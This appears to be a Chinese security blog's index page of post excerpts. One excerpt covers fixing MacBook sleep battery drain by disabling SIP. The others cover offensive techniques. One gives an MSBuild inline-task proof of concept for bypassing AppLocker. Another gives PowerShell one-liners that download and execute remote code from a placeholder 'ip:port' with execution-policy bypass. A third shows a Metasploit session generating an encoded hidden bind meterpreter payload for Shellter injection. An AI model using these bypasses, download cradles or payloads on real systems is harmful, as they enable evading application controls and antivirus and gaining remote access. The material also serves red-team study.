15版 osx10.11 El Capitan盒盖耗电解决方案

15版的macbook pro 更新El Capitan之后,每天电脑盒盖之后还耗费了挺多电,差不多一晚平均3%-5%,一直再想办法解决,也查看了好多方式,一直没有什么效果,经过多次尝试,终于解决了。妈妈再也不用担心电脑继续耗电了。所以现在分享一下这个方法。

首先可以查看一下是什么在唤醒电脑:

syslog | grep -i "wake reason"

我的电脑晚上老是被 RTC (Alarm) 唤醒,差不多两小时一次。该怎么解决呢? 很简单。

首先重启电脑进入Recovery。
再重启听到开机的那个声音的时候,按住comman+R 直到苹果的图标出现

之后找到终端,然后输入以下命令:

csrutil disable

来禁止SIP,之后我们就可以修改一些系统的文件了。

- 阅读剩余部分 -

Bypassing Applocker with MSBuild.exe

前一篇文章总结了几种bypass Applocker的方法,最近又在 @subTee 博客学到了新的方法,所以在这里进行一下简单的分享。

首先介绍一下MSBuild,MSBuild 是 Microsoft 和 Visual Studio的生成系统。默认是存在于windows系统上的。那么怎么使用msbuild执行我们的代码呢? 关于细节可以看这里:

https://msdn.microsoft.com/en-us/library/dd722601.aspx

@subTee 给出了几个POC。

Demo

测试Hello World:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
   <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
   <FragmentExample />
   <ClassExample />
  </Target>
  <UsingTask
    TaskName="FragmentExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup/>
    <Task>
      <Using Namespace="System" />  
      <Code Type="Fragment" Language="cs">
        <![CDATA[
                Console.WriteLine("Hello From a Code Fragment");        
        ]]>
      </Code>
    </Task>
    </UsingTask>
    <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    <!-- <Reference Include="System.IO" /> Example Include -->      
      <Code Type="Class" Language="cs">
        <![CDATA[
            using System;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
                
            public class ClassExample :  Task, ITask
            {
                public override bool Execute()
                {
                    Console.WriteLine("Hello From a Class.");
                    return true;
                }
            }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

以上文件保存为123.csproj,然后使用msbuild执行。如下图:

- 阅读剩余部分 -

AppLocker Bypass Techniques

from:
https://www.youtube.com/watch?v=z04NXAkhI4k

0x00 Command 和 Powershell 没被禁用,脚本被禁用

1463634732723.png

1、直接使用cmd powershell执行

Powershell:

IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')

Command:

powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')

- 阅读剩余部分 -

Shellter Custom payload

msf > show payloads
msf > use windows/meterpreter/bind_hidden_ipknock_tcp
msf payload(bind_hidden_ipknock_tcp) > show options
 
Module options (payload/windows/meterpreter/bind_hidden_ipknock_tcp):
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)
KHOST                      yes       IP address allowed
LPORT     4444             yes       The listen port
RHOST                      no        The target address
msf payload(bind_hidden_ipknock_tcp) > set EXITFUNC thread
msf payload(bind_hidden_ipknock_tcp) > set KHOST 8.8.8.8
msf payload(bind_hidden_ipknock_tcp) > set LPORT 5555
msf payload(bind_hidden_ipknock_tcp) > generate -E -e x86/shikata_ga_nai -t raw -f custom_payload
[*] Writing 386 bytes to custom_payload...